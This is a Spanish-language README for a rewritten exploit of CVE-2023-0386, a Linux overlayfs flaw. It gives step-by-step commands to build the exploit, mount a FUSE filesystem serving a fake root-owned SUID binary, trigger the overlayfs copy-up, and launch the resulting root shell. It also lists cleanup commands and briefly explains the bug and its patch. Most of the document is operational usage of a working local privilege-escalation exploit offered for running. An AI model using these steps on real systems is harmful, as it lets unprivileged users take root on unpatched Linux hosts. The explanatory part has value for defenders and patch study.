
Copia archivos falsos en memoria al disco usando overlayFS
Fuente original del CVE escrita por xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
Reescrito para que el exploit pueda ejecutarse en 1 shell (el exploit original requiere 2 shells).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Limpieza
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt para ver los sistemas de archivos montadosfuse.c crea un sistema de archivos fuse montado en /tmp/fusepwn/lower y sirve un binario SUID falso propiedad de root. Es un sistema de archivos en memoria, por lo que podemos mentir sobre los permisos establecidos.
exp.c crea un montaje overlayfs en /tmp/fusepwn y abre el binario SUID falso (/tmp/fusepwn/lower/bin). Al abrirlo, esto provoca que overlayfs realice un copy-up que escribe el binario SUID falso en disco con privilegios SUID reales y propiedad de root.
La vulnerabilidad existe en overlayfs porque confía ciegamente en los permisos de archivo que le proporciona el sistema de archivos inferior. Si el sistema de archivos inferior es el kernel, esto no es un problema (porque no puede manipularse sin permisos de root). Si el sistema de archivos inferior puede ser manipulado por el usuario, esto sí es un problema, porque podemos mentir sobre qué archivos hay (por ejemplo, usando FUSE).
El parche comprueba si el UID/GID del archivo es válido dentro del namespace del usuario. Si no lo es, hace que el copy-up falle.
es decir,
proc/self/uid_map